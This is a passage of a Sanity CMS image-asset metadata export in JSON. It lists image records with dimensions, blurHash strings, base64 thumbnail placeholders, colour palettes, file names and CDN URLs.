stage.jpeg","path":"images/sczeoy4w/production/fb0502c1dcdb4044a6bc61786bc928f0b0a954fa-6174x4116.jpg","sha1hash":"fb0502c1dcdb4044a6bc61786bc928f0b0a954fa","size":2707200,"uploadId":"RLfPX0ivAXjlfd1HIk77wXK20ur8Imoz","url":"https://cdn.sanity.io/images/sczeoy4w/production/fb0502c1dcdb4044a6bc61786bc928f0b0a954fa-6174x4116.jpg"} {"_createdAt":"2022-06-15T20:02:24Z","_id":"image-fb054e80363a02c8e50238630c9f917a56b9b484-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8A0X","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:54Z","assetId":"fb054e80363a02c8e50238630c9f917a56b9b484","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75$18.9emITV[?w-;RkIVWAo$xZf,ahjX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACYUlEQVQokVWT6W8SURTFhx1SWquWArWUpDDMDAwt0E0JtC5JXWJaoJVlgGGtTY3Eqo2JfqhWLTVq/Jd/Zhgk9cP5cF/ePe+ec88T3OlXTG8MmFp7jXd9gC97SjA7wL95wvz6MYGNY3yrbabEKq7lCo6ohi3WQlD6CMrRNRh1H2Eh/4504TMbBxesH1yQ167Ia0MyhXPWCufkK9/IPP+IL93HFa2NCXUscndCZJU6WKWW+VBk5w33K1943PzObvOSJ91f7HZ/k9Ou2G784Gn/D7naJf57A+xyG2usNSKwyL0JoUXuYpXa2GJNhKWtl2w+OyO794Fc8RMPal952BiyUx+yrQ151P7JVvmSuewp1nGzQfY/upMphVm5RiDVIpDuEFjrEbp7Qjg3YCl/ykL+LXd2zvDn3+NJnZhNMUOajkNq4pHreJUaXvkfNARnpIIzUsUh1rHHmthjOja5g1XpYYkfTWDUDqWFW27gidWYkSsE1RLh5D5htUAoUSSYOESwiU0MWGP6yAeL1Lm2wf6oNs6dis5sUsO/UiaoHhBSi0STe0jJfUS1RChR4XaijmBM5hS1ERxiA5tBOvHJNNskbDGr1vAnD1laLRHJFBFTRcSVEpFkmUW1wS21jXAjWmZerjKXaDAt13FGNexifeSTEQMDI+/kLnbZlGxMGkhXCaaqBFerBFY05pNNfGoLwSceElY1FjMdbqo67mtZMzf3L2P6yBojGg5Zx63ouOItnPEOrngbt6zjkXQE4wfMSBreuI5LaWOTjIlM2WbGeiMSY3mu5Re4lss4oqYC897YmrGavxv5aAxBgUwmAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3260","foreground":"#fff","population":0.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":37.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":37.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bac6df","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2b5d4","foreground":"#000","population":0.42,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac5384","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd4e47","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fb054e80363a02c8e50238630c9f917a56b9b484-1567x844.png","path":"images/sczeoy4w/production/fb054e80363a02c8e50238630c9f917a56b9b484-1567x844.png","sha1hash":"fb054e80363a02c8e50238630c9f917a56b9b484","size":71897,"uploadId":"RbXzGrxsseVRQqPeYqVtEyJO0uDj0AX7","url":"https://cdn.sanity.io/images/sczeoy4w/production/fb054e80363a02c8e50238630c9f917a56b9b484-1567x844.png"} {"_createdAt":"2022-06-15T20:01:37Z","_id":"image-fb0af8fe9319609c26863c86afb8942ab1529e9f-752x405-png","_rev":"ecafYeJdFUSoqAVEkXNQgF","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:52:15Z","assetId":"fb0af8fe9319609c26863c86afb8942ab1529e9f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGFF8I9Z0}~CDNMeWnOYxaxF00?I$NELtm","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9ABQPEhYREh4XGDQmKT4sMDwoKzcnKT8xOEAwOC8dIScWFy4cHEtAPnt3c3dzb0c+PC0eHiAUFBYQExsWGwAkICI2MzQ5NDZFOjxJOTo6JycsHh8xJis3Jio6GhpGGRZRIh5pQDqKcWh7cmxHQkIrHyEjFhcbExYaFRgALCgpUE1PVVJVV05QXE1MUD48PS4uPS8xTjAwcSoimjUoqkk8rUs9pFlLeGZmTFVqOzlLMyQnIxUXFg8SACchIk9LTGNeYWhfYG9iYW1eXFlKS1VBQmo/PJw9MNRhUOeOgt10ZbhWRoJrdWd9qV5oiUc6PyYXFxQLDgAdFxc6NTZXUFJfV1lbUlNeVFRYTU9aSEhrQj2ePjHWYlHqkYPjemrNa12zmZ6otdChqLx4cHM8MDEdFhgAJyIiRUFCWlZXWFNUTEZIVU1QXVdbamBgd15YllBDtk4+zmpb2nZn2o+E2MXD2Nre1NTXs66vc2psPzk7ADk0NVpVVWFcXFNOT1RMT2RaXmxlZ4OAfpaPiZd+dI9gVah0a86jnN7EwNzV1djX19XU08K+vpGLjFNOTwA7NTZbVlZhXF1ZUlRjWlxuZGdza2yOi4efnZWNiH9uYVx4ZWOnmZfHw8PAurutpaSnn56NhINiWFg0LS0ANDE0YFxecW1vcWttfHN0g3h4f3d3hoGAf3dzYFdSRkBCUkdLdWhnioGBgnR2bVpZY1FOUD48MyIiGxAQAB8dITw5PUZBREtDRGBRUGhVUltLSlFGRkc4ODMkJDUrLlxQUnJiYWRVVFZBQUcvLjgjIDEdHCUUExYMCwAPDA8ZFBgaExYkFxc+KCVGLSk2IR4nGRgnGBkkFBM1JyZrW1iBb2tnVFBHMi8zHhwkFBIfERAaDQ0QCQqQANpW0k+cFwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543937","foreground":"#fff","population":7.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#38080e","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f6b67","foreground":"#fff","population":8.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9c1b3","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4d82dd","foreground":"#fff","population":0.96,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f6b67","foreground":"#fff","population":8.4,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d42912","foreground":"#fff","population":5.57,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fb0af8fe9319609c26863c86afb8942ab1529e9f-752x405.png","path":"images/sczeoy4w/production/fb0af8fe9319609c26863c86afb8942ab1529e9f-752x405.png","sha1hash":"fb0af8fe9319609c26863c86afb8942ab1529e9f","size":149569,"uploadId":"WEYIricZ9mN38IjSDOsZfTxQsggQldKA","url":"https://cdn.sanity.io/images/sczeoy4w/production/fb0af8fe9319609c26863c86afb8942ab1529e9f-752x405.png"} {"_createdAt":"2022-09-14T10:11:05Z","_id":"image-fb0bdf6723555cdc165cc66eaae5ea54018cb6b8-800x826-png","_rev":"STwkGY00NBjXpkjjM1b6rd","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T10:11:05Z","assetId":"fb0bdf6723555cdc165cc66eaae5ea54018cb6b8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGH,^w0h+r}H0g?sxd#*ADwh00k;K*#RO?0M+FOaxX#lFg,BIAS~,o","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9685230024213075,"height":826,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e3337","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#613e0f","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#faa110","foreground":"#000","population":4.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9ba9c","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f84143","foreground":"#fff","population":2.75,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#778b80","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faa110","foreground":"#000","population":4.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hand-holding-crab.png","path":"images/sczeoy4w/production/fb0bdf6723555cdc165cc66eaae5ea54018cb6b8-800x826.png","sha1hash":"fb0bdf6723555cdc165cc66eaae5ea54018cb6b8","size":86346,"uploadId":"Zjzz0pU2AkktkinEi2GjL0WiB2xKWNEb","url":"https://cdn.sanity.io/images/sczeoy4w/production/fb0bdf6723555cdc165cc66eaae5ea54018cb6b8-800x826.png"} {"_createdAt":"2022-10-25T13:37:58Z","_id":"image-fb1227930a2190f1861fd20496cc8392151aa696-1041x601-png","_rev":"hpkJIhxEjqPxw9wstAKkau","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T13:37:58Z","assetId":"fb1227930a2190f1861fd20496cc8392151aa696","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4S~t|%M%g~WMx?vadH?RjozRPsoIUR*sl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7321131447587355,"height":601,"width":1041},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA+UlEQVQokX2R4W4DMQiD7/3fdZMqJcHYkJtIrreprWbxI5H4wMDRv7/a49FbwwCdkvKTJFEiSXcCMDPD4b0RENybWRsAIuIXioyl6xdBsmq4u/MQmREZSQOG0V1PVZ/KLWXmOUuZOVdk5kFyF965ESHJ3YEKX7UyooCl86k55wVvZneQZIZhAJzOkKZYEfEKS3qFKRtj9FE7Mcg96ZOY0iu8zWTmXsT2j4J78WN4wZz0D/D9kqr5to3qaV5XQJC5nb/bvl/3SaQA3Grm8jxDV+S/8Jq/bit36320RlujRpzrVDf5brtmjogZSjNvjb2FjYkxiTPjL7nhH2FLiHGIdc9ZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#612328","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bc768e","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ddc4bc","foreground":"#000","population":0.05,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec8cb4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bc768e","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c45c64","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fb1227930a2190f1861fd20496cc8392151aa696-1041x601.png","path":"images/sczeoy4w/production/fb1227930a2190f1861fd20496cc8392151aa696-1041x601.png","sha1hash":"fb1227930a2190f1861fd20496cc8392151aa696","size":30346,"uploadId":"5auhjwG39AI6jqU74sG6au4S87QkGe37","url":"https://cdn.sanity.io/images/sczeoy4w/production/fb1227930a2190f1861fd20496cc8392151aa696-1041x601.png"} {"_createdAt":"2022-06-17T08:37:21Z","_id":"image-fb5ff9daaf3f3510b22fa8873c4d7850c0d6d7f2-800x800-png","_rev":"qkpX9b3U0TpOGFQp9CiNCe","_type":"sanity.imageAsset","_updatedAt":"2022-06-27T13:24:35Z","altText":null,"assetId":"fb5ff9daaf3f3510b22fa8873c4d7850c0d6d7f2","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eXFOlq^M4nI]R*}j=vNNEfS$VYn#b^NfoJj=NfJDjYnNRPa_SeNHbd","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsSAAALEgHS3X78AAAFdUlEQVQ4jWXTe0zTVxQH8AMCccpLHuKg0F8rIs4o6rI40cUEgSKoi5saJpipKyCiriATYYAgSqcwHELl0V9bH8Ba5FFK+/uV9zvRMWpQVFQGorzfE9+09y5FF8h2kpv71/3kfHPuAXzFGXDZUkACZ0A5bFNEsr5EIuIUIolriGTlI5JIREKWhy5zxRLtGTcDjAFQugvgRjPADebwv0KZzoABAxIzzTFJ+GKSECGS6EAkMYhJYgiLiEf4KrMQSR38dZSN7espgP5vjsJEPRumm5hwsOY5BFb3zYFYZg9YwjTCIsIdkcQNpEdIYhCRrDvvc9nt70SskRmpwwSirZWo3tx3psHiE9wJMN1gC48rVsPn1DBA8eQ8UMgCTLKsEUnwEEl0IZLoey9ki+5dXBtRFL1RQJ1df1eTs/ztoNxu8G2NZTJuMnXsb3UD3ACAmwGI8tH/gCShB9mIZAkQSYxikqi9n7Lm4Img/bwTYcE1Z6KChjKT9rxXCja96ZCuuNlFrd3oX9u70EfVv+CB2hXgMgZOxcA8UKQHiZWIJERYxBrTkYRCHrs5JCYmukAkFr+gKAqVFktRVlrkTHrijrrkjCN7/Sp6mF9Qk4sk8U6A8U1wp4fmgRImIJJgIJK4gEXE0IyY2V6f6n4tK/3cnaqqKm1nZyfWaDQ4J/uKjhsapPGLjD3qLu9ydq18vZAEgA3UMKxVDc8DL7voI5siIWs/vsq8rZXZT92/vq7vmiBiMi/vhk6pVGJ9l2KxGP14Kvre7vD4oK/yWm1gFBukfecFjopRYChG54HjADh1lQHKZTtjmX28jrK526tY97JEEqElSSHKz89HxcXF+oOFYnH7bzlkQEZp5SJhsRJuFPwOFvJxWF4+Mg+sswD80BBmJMuNMW21SldnebyH2qIoyzszIJGItDJZIdJ3SNP0NEVR8srKSo87Go3x8POnUFPfCLBjCkJuTcyBujorwH8aAQaAt63WC3DjYpuq63v9LqfFl6Smpkzn5gpxQUEBkkql3SUlJadramsdMMawe58/dD3qBN2rF9Db2ztvU8oIeCgLAE3SHril36tODIfT85mhPydGh/8U1ZmQkKBNS0vD2dnZvVKp9FxLS4urVqs18vXdPvt+fHwcenp65sCc+iLwqhgDu6JbcFzZZLhL3W3pRT1bufPslX37vj8s53K5L+Pi4rBAIHhdWlqqaWtrS+rr7988PDxifrvtIeTLVDA1OQEO3vQH8EB1HzgpRmCDchA86IHFW1R9zjuopxtDLon3Bx7ilgQGBr7g8Xg4NTVVV1hY+K65ubmno6Mjvbv7rzXad38b6OM/e94HDM5H0KtiEKjWx7BJ2WewQTVo4VY+wA4rbNqS9Gs6P+zY8ScBgYG60NAj+Pz581gikeDSUvlkZVWNqK7xDze++LGh3hgd7JrrcLVyZPanb1b0wAr5gAlbMbQ4USRjJyQlR4aGHWs9eOjQJI/He8Pn819lZGT2Z+WQiixSFhDJp+1tPNRG3CgpAFyfA+HmFEDR5OyU7S6WAxx5ApcyMk1ORsWs5AYf5QaHHMuNOh0rT+anyPgX0pITkzN3BkcVOLH9KDO7bSpjn2AKXL6umousBw1LJuCzRgxYCiAAgLCT2bBtd7jhroC4pf7cs+tDI1K2hsdkbvohItvV40C+LXO72pzBqTB19KGNbT1o+NSTBgdv9QfPpmwM7MrGYKusHaAKg0uiBgCeAevbB7BkW4vJMq9qMwaHtrD3UpvbeFSbLfOsNHP00YO0mYO32tiR8wFjcD6C/1byLxfhdGw82HuqYJknDa47iwyYPuWLHDkqawaHtnbyoa2Y26nZm8GhrRy81ZYMDm2ij8rwpsHhI/gP8C3VAths2bQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b4e57","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#604510","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9c113","foreground":"#000","population":5.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0b2c9","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8997d","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#75758a","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9c113","foreground":"#000","population":5.74,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"andy-librian.png","path":"images/sczeoy4w/production/fb5ff9daaf3f3510b22fa8873c4d7850c0d6d7f2-800x800.png","sha1hash":"fb5ff9daaf3f3510b22fa8873c4d7850c0d6d7f2","size":204866,"title":null,"uploadId":"gnFPAA3AVEUaX6Bb1unnSBB5nGC1rMBP","url":"https://cdn.sanity.io/images/sczeoy4w/production/fb5ff9daaf3f3510b22fa8873c4d7850c0d6d7f2-800x800.png"} {"_createdAt":"2022-06-30T11:56:58Z","_id":"image-fb9201c690bfcb461e245f0385da4436234e1a21-768x226-png","_rev":"CK1sLU2mnwa3vmbYWEc4XU","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:35Z","assetId":"fb9201c690bfcb461e245f0385da4436234e1a21","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DLS.4q:DP;r:zA:7RQivoJTd","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.398230088495575,"height":226,"width":768},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsSAAALEgHS3X78AAABcklEQVQYlTXNTUhTAQDA8XfxICjKQB0aEYQeFCNBTxnmRRDyCz9Z8tx7vulTtznnK3A6RDYFPyMd6WkV4SH8RKmdBHWgF89+BWaHBA+TUcrYeL2/jAh+/K9/gap2amUabDR2JdUrNMg0i1hakGtQX9BdhJqDKwNPnuEt0V3PYgMVMV+ZPmoSeCnR3o88iDSYrNWN7EJ14rDhbMZRSV8hvVmGZkrMPL/7oN0E/Ndz49ElR3wiX6BaxOJActMxgPUfO7KErQmlks5i1IeGPVMfMv8Oir/2N38cHF7uhm+2AvGpJwJNKq/9+OcZ/294DMlCSzmWYqyPULON/jR9JDey3PP9aO/k+OznyWk0/Dk+WyKgvOH9J1a/shZiPcTGN4JBXBKtpbwqQHmA3WS4U3VvTvSjeLG/cn64cxUO/dmeTkwWCTR2o/nwvcO/kNxOvMXrQamj7SniY7rMONPRUv4OZ8QCFZFV7fqLJ7LYeztVkxgx3wNy99r0fQaelQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#833c01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":13.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8cbcbc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc84ac","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b807c","foreground":"#fff","population":0.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":13.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fb9201c690bfcb461e245f0385da4436234e1a21-768x226.png","path":"images/sczeoy4w/production/fb9201c690bfcb461e245f0385da4436234e1a21-768x226.png","sha1hash":"fb9201c690bfcb461e245f0385da4436234e1a21","size":41864,"uploadId":"a8o8HRE52D6fTdNsIwhDE2eBzdNv32Zm","url":"https://cdn.sanity.io/images/sczeoy4w/production/fb9201c690bfcb461e245f0385da4436234e1a21-768x226.png"} {"_createdAt":"2023-06-12T10:31:00Z","_id":"image-fba674ae9a038e0a87600d170fcfe23d7840cc37-1999x1003-png","_rev":"dsxJlHxlnt5nZt5n2AfSPk","_type":"sanity.imageAsset","_updatedAt":"2023-06-12T10:31:00Z","assetId":"fba674ae9a038e0a87600d170fcfe23d7840cc37","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7SF;N?]0O.R02^70#8w1gZiTfxt00RPE3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9930209371884346,"height":1003,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABqUlEQVQokYWSzY7TQBCE86zcASGOHOABeAXEHaFFQhyCQNy4EkS0u04CZON1lMSe+Hdm7LHH/tBMQpYfwZZUastqd1dXefTwzYzHH674GJYY2+MwDMOtPGGAoe7ohWJINaN7L6c8Gi94vxCUqqa39vDBLYPcs+0tbdMiP2/Jn03QzyeMzj5FvJ5umEaC7V5QVCWdtfwLblDf99R1TSUrqrRkN16wevCO+P5bRmXdUmiDKAqW8ZprsUNpjW07OtPSdd2J1lpftdZkWUaWZ6hKUgQJ8asZ2VnA6LgWqRWbNCHOU9+ktylluCMXKUVRkOc5ZVkipaSqKs+mafwS21o6aTxHP71xm90ZjTG0ukZebdhOF4TfloRhyGq1Yr1ee2VOoev/LZwj/ECHX413wais4PrrktllQBAEnJ+fM5/PiePYq3TLnbrB9fuAnLfD4eQ/03M0rUEIQRRFnk6lq967LCNJEm9BbQzrumNStFxU7c3Jf7E/2GCM8XR+uereKaVIhGAvEkRRMd7WPFkonn6Xx1BO8m5U/g/+t2kalKzYV5oXUc2dL4q7F5IffNP9EXh99iIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e5450","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0860a7","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#12a9da","foreground":"#fff","population":1.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c79db7","foreground":"#000","population":0.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8aedf0","foreground":"#000","population":0.38,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b4370","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#12a9da","foreground":"#fff","population":1.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fba674ae9a038e0a87600d170fcfe23d7840cc37-1999x1003.png","path":"images/sczeoy4w/production/fba674ae9a038e0a87600d170fcfe23d7840cc37-1999x1003.png","sha1hash":"fba674ae9a038e0a87600d170fcfe23d7840cc37","size":243425,"uploadId":"yx6KzKLmef5Jzf3TpGlXDIVU0lPnSDOw","url":"https://cdn.sanity.io/images/sczeoy4w/production/fba674ae9a038e0a87600d170fcfe23d7840cc37-1999x1003.png"} {"_createdAt":"2024-03-08T07:43:23Z","_id":"image-fbd060aa69a2da3d8e3ca7b7aa0836d422a16195-3200x1768-png","_rev":"QYGdEGGMhf311CDlzqriNm","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:43:23Z","assetId":"fbd060aa69a2da3d8e3ca7b7aa0836d422a16195","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA9Pj4u61%Q:Md3Cb_+}Z*rX9?rp#,bco#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8099547511312217,"height":1768,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACzElEQVQokYWQS2sTURhAvyQzncwjkza1tDaZe2/GTNNJnMzDkKSNtj6wtZlYa5LWTqJtsaUKilQUkVLrC0UUN64ERcFn6UJciPoPFOlGBAVBRBHd6E7cRiYK4kYvHA73wnfgu4AQYpAUYXCI9oR3noY6AFg3C2Dc3gG56wNQLNegWK6CXak27PLPgzDmJS3Pd+66zHQcXaGl+WVf6laFsu4OUBsWdvrsEcdrlx1PwXEacfu/QSILkU